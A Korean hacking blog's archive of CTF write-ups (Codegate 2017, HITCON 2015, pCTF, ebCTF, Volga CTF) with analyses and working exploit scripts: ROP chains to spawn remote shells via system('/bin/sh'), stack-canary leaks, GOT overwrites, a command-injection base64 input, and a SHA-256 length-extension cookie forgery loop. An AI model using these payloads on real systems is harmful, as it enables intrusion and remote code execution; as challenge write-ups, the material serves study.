codegate 2017

크리에이티브 커먼즈 라이선스
Creative Commons License

https://github.com/ctfs/write-ups-2017/tree/master/codegate-prequals-2017/pwn



meow

분석이 어려워보이지만 어려워보이는코드는 다 분석할필요가 없는 코드들입니다

그냥 md5 평문만 찾아내서 gdb로 0x12000이랑 0x14000코드를 보면 되는데

0x12000에서는 write(); read(0, rbp+0x8, 0x18) 을 하는데 처음에는 rbp-0x8로 봐서 아 리턴까지만 딱 덮게 해주네 라고 생각했는데 rbp+0x8이라서 이상함을 느꼈습니다

그래서 14000을 보니 execve가 있고 그 뒤에 /bin/sh랑 pop rdi;ret 이 있어서 그거 이용해서 풀면됩니다


(perl -e 'print "\$W337k!++y\n", "3\n", "\x36\x40\x01\x00\x00\x00\x00\x00", "\x29\x40\x01\x00\x00\x00\x00\x00", "\x00\x40\x01\x00\x00\x00\x00\x00"';cat)|./meow




babyMISC


첫스텝은 base64 encoded string은 다르지만 같은 decoded value를 만듭니다

바이너리에 비교대상 base64는 있으니 그걸 decode해서 뒤에 \x00 하나 붙여주면 길이는 같지만 다른 base64 문자열이 나옵니다

두번째스텝은 두개의 base64 decode string이 같지만 encoded string은 달라야 합니다 cd80, cd80\x00\x00\x00 으로 각각 넣어줍니다

세번째스텝은 filter문제인데 쉘에서 base64 -d  로 하면 널바이트를 무시해주기 때문에 \x00cat flag.txt\x00 한걸 넣었습니다


 ⚡ root@cd80  ~/tmp  ./BabyMISC 

[*] Ok, Let's Start. Input the write string on each stage!:)

[*] -- STAGE 01 ----------

[+] KEY : 


[+] Input > 

TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA

[*] USER : N0_m4n_c4l1_ag4in_Y3st3rd4y:(

[+] -- NEXT STAGE! ----------

[*] -- STAGE 02 ----------

[+] Input 1 

Y2Q4MAAA

[+] Input 2 

Y2Q4MAAAAA==

[+] -- NEXT STAGE! ----------

[*] -- STAGE 03 ----------

[+] Ok, It's easy task to you, isn't it? :)

[+] So I will give a chance to execute one command! :)

[*] Input > 

AGNhdCBmbGFnLnR4dAA=

#                                                       echo -n AGNhdCBmbGFnLnR4dAA= | base64 -d | sh

y0u_pwned_y0ur_b4by

 ⚡ root@cd80  ~/tmp  


babypwn


system함수가 바이너리안에 박혀있어서 카나리만 우회하면되는데 카나리는 A 41개 보내면 저한테 알려줍니다 넣고 /bin/sh만 recv하게 해서 실행합니다


from socket import *

from struct import pack,unpack

p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]



## get canary ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

s.send("A"*41)

print s.recv(4096)

ret = s.recv(4096)

canary = ret.split("\n===============================")[0].split("A"*41)[1]

canary = up('\x00'+canary)

print "canary: 0x%08x"%canary

s.close()


cmd = "/bin/sh 0<&4 1>&4 2>&4\x00"


## exploit ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

payload = "A"*40

payload += p(canary)

payload += "A"*12


payload += p(0x80486e0) # recv@plt

payload += p(0x8048eec) # ppppr

payload += p(4)

payload += p(0x804b1b4) # bss

payload += p(len(cmd))

payload += p(0)


payload += p(0x8048620) # system

payload += p(0x41414141)

payload += p(0x804b1b4) # bss


s.send(payload)

print s.recv(4096)

s.send("3\n")

print s.recv(4096)

s.send(cmd)

while True:

    tmp = raw_input("$ ")

    if not len(tmp):

        continue

    else:

        s.send(tmp + "\n")

    print s.recv(4096)

s.close()


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

HITCON 2015 matrix

크리에이티브 커먼즈 라이선스
Creative Commons License

올해 히트콘에 재밌는 문제가 많았어서 공부할겸 풀이를 작성해봅니다


matrix문제는 제일 배점이 낮은문제였는데

배점이 낮든말든 허접인 저한텐 너무 어려웠습니다


바이너리는 두개의 행렬을 입력받아 곱한다음 출력해주는 컨셉입니다


그런데 행렬을 위한 공간을 할당할 때 힙이 아닌 alloca를 이용해서 할당합니다

힙을 이용하는것과 스택을 이용하는것에서 취약성이 갈리진 않지만

이 프로그램에선 힙을 사용하는 부분이 없고

스택을 사용하기때문에 크리티컬한 데이터를 조작하기가 훨씬 수월합니다

루프를 돌때 abs를 사용하고, 추가 검증이 없어서

-2147483648로 matrix size를 그냥 넣고 행렬 요소들을 계속 입력하다보니 세그폴이 떠서

크래쉬를 일으키는데는 얼마 안걸렸습니다


취약점은 전형적인 유형인데

이 문제의 취약점은

메모리를 allocate할때(malloc이나 alloca등)

allocate하는 사이즈를 공격자가 컨트롤 할 수 있고

그 데이터보다 많이 넣을 수 있는데서 발생합니다



>>> v38 = -2147483648

>>> (16 * ((8 * v38 * v38 + 22) / 0x10))&0xffffffffffffffff

16L

>>> 


size of matrix를 -2147483648로 설정하면

alloca안의 식이 0x10으로 계산되고

abs(-2147483648) == 0x80000000이기 때문에

수치상으로만 봐도 오버플로우가 명확히 발생합니다


rip컨트롤은 굉장히 쉽고

pop; ret 을 해주면 bp-68에 있는 첫 어레이에서부터 ROP를 할 수 있습니다


관건은 fflush(stdout)을 어떻게 호출하냐인데


main함수 맨뒤에 fflush(stdout)을 해주고

rbp-28h을 rsp에 넣은 뒤 pop pop popo popo pop p op op op op op popop ret해주는 부분이있습니다

rbp-28h은 우리가 컨트롤 할 수 없는 메모리니

저기로 점프하기전에 rbp를 name(0x6020a0)버퍼에서 적당한 지점으로 설정해주면

fflush를 호출한뒤 name버퍼에서 control flow를 유지시킬수가 있습니다


hitcon2015_matrix.py


cd80.py


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

WhiteHat Contest 2015 cd80

크리에이티브 커먼즈 라이선스
Creative Commons License

원래 팀을 구하다가 다들 팀이 이미 구해져있길래

그냥 이번대회가 청소년부로 나갈 수 있는 마지막 대회라

한번쯤 혼자 나가서 내가 어느정도 수준인지 검증해보고 싶었는데

역시 아직 개 뉴비란걸 깨달았다

세상에 고수는 차고 넘치는구나 허허


WHITEHATCONTEST2015_cd80_writeup.pdf



신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

LeaveRet JFF Season3 pwnable vaja

크리에이티브 커먼즈 라이선스
Creative Commons License

[문제 개요]

emulated된 환경안에서의 custom opcode gadget을 활용한 ROP 혹은 메모리 R/W 미 검증을 이용해 vm escape해 공격할 수 있는 문제

virtual machine 바이너리와 해당 machine에서 돌아가는 바이너리가 각각 주어진다

vaja = virtual machine

target = virtual binary


에뮬레이터, 바이너리 제작 스크립트

vaja_source.zip



바이너리 제작스크립트에선 vajacode와 vajadata가 필요한데

vajadata는 그냥 수동으로 제작해줬고

vajacode는 

asmcode.txt

vaja_asm_to_machine.py

위 asmcode.txt를 작성하고 vaja_asm_to_machine.py를 실행하면 만들어준다

실행한후에 machinecode를 가져다가 서버에서 vajacode를 열어 데이터를 집어넣어주고

vaja_source.py에 있는 make_vaja.py를 실행하면 target바이너리가 생성된다


문제를 제작하면서 검수할땐 어셈블러에서 주소를 출력해주기 때문에

바로 ROP 가젯을 이용해 ROP를 했는데

실제로 문제를 풀땐 opcode의 구조를 분석해 디스어셈블러를 직접 만들어서 풀어야 하는 문제였다

이 과정이 최소 3시간은 걸리지 않을까 싶어서 빠르면 다섯시간안에 문제가 풀리겠다고 생각하고 있었는데

정원이랑 PPP에서 2시간만에 풀어서 소름돋았다

정원이한테 물어보니 의도치 않은 쉬운풀이가 아니라 정석대로 생각한대로 풀었는데도

소오오오르으으음;;;;


아인슈타인 사진에 대해 얘기를 하자면

가상화 문제를 풀때 pintool같은걸 이용해서 인스트럭션핸들러가 호출될때 실행되는 opcode를 로깅해서 푸는경우가 있는데

아인슈타인사진은 무려 2294바이트가 되고

루프 코드에 4개의 opcode가 있기 때문에

약 9000개의 무의미한 opcode가 로깅되게 된다

아인슈타인 사진은 pintool을 사용하지 않고 디스어셈블러를 직접 만드는 방향으로 유도하기 위해 삽입했다


vm escape가 가능한건 맞는거같은데 익스짜보기가 무서워서

일부러 만들어둔 pop r4~r1, fp, ret 가젯과 syscall;ret 가젯을 이용해 풀었다

exploit.py




카이스트 곤 팀으로 푸신 은수형과 형석형께 물어보니 곤도 디스어셈블러까지 다 짜는데는 2시간걸렸다고 한다

디스어셈블러만 다짜면 익스플로잇은 5분내로 되는거라 그냥 차라리 플래그이름을 예상하기 힘들게해 vm escape로 유도할걸 그랬다

이문제가 쉬운이유는 플래그이름이 flag이기 때문이다 ( 익스플로잇 참고 )

신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20

설정

트랙백

댓글

Codegate2015 junior writeup

크리에이티브 커먼즈 라이선스
Creative Commons License


Codegate2015_Junior_cd80_writeup.pdf


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13

설정

트랙백

댓글

pCTF 2013 pork

크리에이티브 커먼즈 라이선스
Creative Commons License

최근에 팀내에서 스터딩을 시작해서

스터디 과제로 냈는데

옛날에 풀어봤을 땐 익스플로잇이 엄청 간결하게 나왔던거같은데

조금 복잡하게 나왔네요

풀면서 스터디원들한테 좀 미안했습니다

옛날에 풀었을 때 어떻게 풀었는지 기억이안나는데 간단한 방법 아시는분은 알려주시면 감사하겠습니다


NX가 없는데 널바이트를 사용하지 못하기 때문에(%s)

recv로 GOT를 릭해서 write로 GOT Overwrite하는건 할수 없었고

NX가 없기 때문에

pop %eax; ret 가젯을 bss에 복사해서 사용할 수 있도록 하고

pop %ebx는 이미 있어서

이 두개를 이용해

add [ebx+0x5d5b04c4], eax; ret 을 이용해 GOT overwrite를 해 풀었습니다


바이너리 주소

http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/pork-250/


#!/usr/bin/env python
from cd80 import *

write = 0x80488fc

pppr = 0x80499a6
bss = 0x804ad00


##########Construct /bin/sh in bss+0x50############
sprintf = 0x804887c
ppr = 0x80499d7

#cmd : /bin/sh 0<&4 1>&4\x00
cmd_bytes = ['0x8048114', '0x8048117', '0x8048531', '0x8049a68', 
		'0x8048114', '0x8048650', '0x8048340', '0x8049b18', 
		'0x8049b6a', '0x80484c0', '0x8048170', '0x80496d2', 
		'0x8049b18', '0x8048ac0', '0x8049a29', '0x8048170', '0x80496d2', '0x804ac48']
cmd_bytes = [ eval(x) for x in cmd_bytes ]
dest = bss+0x50

binsh = ''
for i in range(0, len(cmd_bytes)):
	binsh += p(sprintf)
	binsh += p(ppr)
	binsh += p(dest+i)
	binsh += p(cmd_bytes[i])
###################################################

##########Construct pop %eax; ret##################
gadget_bytes = [0x8048714, 0x8048b72]
gadget = ''
dest = bss+0x4
for i in range(0, len(gadget_bytes)):
	gadget += p(sprintf)
	gadget += p(ppr)
	gadget += p(dest+i)
	gadget += p(gadget_bytes[i])
###################################################


###########Exploit###############
s = makeCon("cd80.kr", 33227)

payload = "A"*1024
payload += p(pppr)
payload += "CCCC"
payload += p(bss+0x104) # free_addr for a2, a3 in clienterror()
payload += p(bss+0x104)
payload += binsh
payload += gadget
payload += p(bss+0x4) # pop %eax; ret
payload += p(0xfffc5a00-1) # system - strcmp - 1 # nop; system~~~~
payload += p(0x80499d7) # pop %ebx; pop %ebp; ret
payload += p(0xaaa9a82c) # strcmp@GOT - 0x5d5b04c4
payload += "AAAA" # dummy for pop %ebp
payload += p(0x8048b3e) # add [ ebx + 0x5d5b04c4 ], eax; ret
####
# *strcmp@GOT is now system@LIBC
####
payload += p(0x8048a9c)
payload += "AAAA"
payload += p(bss+0x50)

s.send("GET http://"+payload+" HTTP/1.1\r\n")
sleep(1)
s.send("\r\n")
while 1:
	tmp = raw_input("$ ")
	if len(tmp):
		s.send(tmp+"\n")
	else:
		continue
	print s.recv(4096)


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29

설정

트랙백

댓글

ebCTF2013 pwn200 Frainbuck Interderper

크리에이티브 커먼즈 라이선스
Creative Commons License

http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/

바이너리는 brainfuck interpreter를 구현해놓은것입니다

brainfuck이 생소하신분들은

http://www.youtube.com/watch?v=OnQobTyqEd0 이 동영상이 설명이 잘돼있으니 이 동영상을 참고해주세요


brainfuck에선 > 랑 <로 메모리 인덱스를 변경하고

[ 이랑 ] 로 루프를 도는데

이 프로그램에선 >나 <로 갈수있는 인덱스의 한계를 정하지 않았습니다

버퍼가 스택에 있고 >로 인덱스를 올려줄수 있기 때문에

리턴어드레스를 조작할수 있습니다

그런데 nx와 aslr이 걸려있어 일반적인 방법으론 힘들고

바이너리 안에 shell()이란 함수가 들어있으니 이 함수로 바꿔주면됩니다


우선 리턴어드레스 위치부터 확인합니다

버퍼가 bp-0xc8에 위치하고 int []형입니다

따라서 리턴어드레스까지의 거리 나누기 4를 구하면됩니다

그러면 0xc8+0x4 / 4 = 51입니다


root@ubuntu:/home/ebctf2013# (perl -e 'print ">"x51, "."') | ./bf 

>> EINDBAZEN FRAINBUCK INTERDERPER READY.

> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d


THANKS FOR SUPPORTING US WITH YOUR BRAIN!

root@ubuntu:/home/ebctf2013# 


bf_main함수의 리턴어드레스가 0x8048a9d니 정확하게 구했습니다


shell()함수의 주소가 0x8048a6e니 

0x8048a6e - 0x8048a9d = -47


페이로드는 ">" * 51 + "-"*47 입니다


root@ubuntu:/home/ebctf2013# (perl -e 'print ">"x51, "-"x47';cat) | ./bf 

>> EINDBAZEN FRAINBUCK INTERDERPER READY.

> GIVE ME SOMETHING TO DANCE FOR: 


id

uid=0(root) gid=0(root) groups=0(root)


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24

설정

트랙백

댓글

pCTF 2014 mtpox writeup

크리에이티브 커먼즈 라이선스
Creative Commons License

이 문제는 저희팀 웹해커 rubiya와 같이풀었습니다 ( http://blog.naver.com/withrubiya )

 

들어가면 이런 메인페이지가 나오고

          <li><a href="/index.php?page=index">Index</a></li>
          <li><a href="/index.php?page=about">About</a></li>
          <li><a href="#">PlaidCoins (under maintenance)</a></li>
          <li><a href="#">PlaidCards (under maintenance)</a></li>
          <li><a href="/admin.php">Admin</a></li>

이렇게 페이지를 이동시킵니다

여기서 index.php?page=admin.php 를 넣어주면

 

 

이렇게 소스를 읽어올 수 있습니다

소스를 분석해보면

먼저 첫 접속땐 $_COOKIE['auth']가 isset돼있지 않으므로

가장 먼저 볼 곳은 첫번째 else문입니다

 

  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));
  } 

$_COOKIE['auth'] 에 "b:0;"

$_COOKIE['hsh'] 에 hash("256", $SECRET . strrev($s)));

를 넣어 초기화시킵니다

 

rubiya형이 딱 보고 length extension attack인것같다고 말했고

분석해보니 length extension으로 공격하면 될것같아 익스플로잇을 작성했습니다

 

좀더 쉽게 풀기위해 hashpump를 사용해 페이로드를 자동생성했습니다

 

 

hash = "967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1"

payloads = """
b%3A1%3B%C8%01%00%00%00%00%80b%3A0%3B
b%3A1%3B%C0%01%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%B8%01%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%B0%01%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%A8%01%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%A0%01%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%98%01%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%90%01%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%88%01%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%80%01%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bx%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bp%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bh%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BX%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BP%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BH%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%40%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B8%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B0%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%28%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%20%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%18%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%10%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%08%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%00%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%F8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%F0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%E8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%E0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%D8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%D0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%C8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%B8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%B0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%A0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%98%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%90%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%88%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bx%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bp%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3Bh%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BX%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BP%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3BH%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%40%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
b%3A1%3B%28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
"""
payloads = payloads.split("\n")

import urllib2
for i in range(0, len(payloads)):
    req = urllib2.Request("http://54.211.6.40/admin.php")
    cur = payloads[i]
    req.add_header("Cookie", "hsh="+hash+";auth="+cur+";")
    data = urllib2.urlopen(req)

    data = data.read()
    print "key length: %d [ %s ]"%(i, data)
    if data.find("Sorry, not authorized") == -1:
        print "Found key length: %d" % i
        print "Found payload : %s" % payloads[i]
        print "hash : %s" % hash
        break 

 

 

 

이렇게 sha256에 사용된 salt는 46자란걸 알았고

payload와 hash를 얻었으니 이제 쿠키에 설정해주면 됩니다

 

설정해주고 어드민페이지로 들어가면

 

이런게 있는데 form 의 action에 존재하지 않는 페이지가 있습니다

그런데 아까 LFI로 구한 소스파일에 보면 이 form을 처리하는 코드가 있습니다

이 부분에 sql injection을 해서 테이블명과 컬럼명을 구했더니

테이블명은 plaidcoin_wallets이고

컬럼명은 id와 coins가 나왔습니다

그냥 id를 select했더니 키값이 나왔습니다

 

 


=======================================================================


writeup에 잘못쓴게 하나 있는데

익스플로잇을 생성할 때 분명 키 길이 1~54 순서대로 했는데 저 익스플로잇에 거꾸로 넣은거같습니다

왜 그런진 모르겠는데 위 풀이중 솔트 길이가 46자라고 쓴건

54 - 46 해서 8자입니다

대회 끝나고 다른 풀이 보니 about페이지에서 솔트 길이가 8이라는 힌트가 있었습니다

신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23

설정

트랙백

댓글

Volga CTF 2014 Exploit 100

크리에이티브 커먼즈 라이선스
Creative Commons License


server




int __cdecl serve(int fd)

{

  unsigned int v1; // eax@1

  int v2; // ST40_4@1

  int v3; // ST40_4@1

  int v4; // edx@9

  int v5; // ecx@9

  int result; // eax@9

  int v7; // [sp+2Ch] [bp-CCh]@3

  signed int i; // [sp+30h] [bp-C8h]@3

  int randnum; // [sp+34h] [bp-C4h]@11

  int j; // [sp+38h] [bp-C0h]@11

  signed int xorkey; // [sp+3Ch] [bp-BCh]@12

  char v12[100]; // [sp+4Ch] [bp-ACh]@1

  char password[20]; // [sp+B0h] [bp-48h]@1

  int user_input; // [sp+C4h] [bp-34h]@1

  int v15; // [sp+C8h] [bp-30h]@1

  int v16; // [sp+CCh] [bp-2Ch]@1

  int v17; // [sp+D0h] [bp-28h]@1

  int v18; // [sp+D4h] [bp-24h]@1

  char s; // [sp+D8h] [bp-20h]@17

  int v20; // [sp+ECh] [bp-Ch]@1


  v20 = *MK_FP(__GS__, 20);

  v1 = time(0);

  srand(v1);

  write(fd, greeting, strlen((const char *)greeting));

  v2 = open("password.txt", 0);

  read(v2, password, 0x12u);

  close(v2);

  v3 = open("flag.txt", 0);

  v12[read(v3, v12, 98u)] = 0;

  user_input = 0;

  v15 = 0;

  v16 = 0;

  v17 = 0;

  v18 = 0;

  while ( 1 )

  {

    do

    {

      read(fd, &user_input, 0xFu);

      LOBYTE(v17) = 0;

    }

    while ( strlen((const char *)&user_input) != 12 );

    v7 = 0;

    for ( i = 0; i <= 11; ++i )

    {

      if ( password[i] == *((_BYTE *)&user_input + i) )

        ++v7;

    }

    if ( v7 == 12 )

      break;

    randnum = rand() % 1000;

    for ( j = 0; j < v7; ++j )

    {

      for ( xorkey = 1; (unsigned int)xorkey <= 0xDEADBEEE; ++xorkey )

        randnum = xorkey ^ (xorkey + randnum);

    }

    sprintf(&s, "%x\n", randnum);

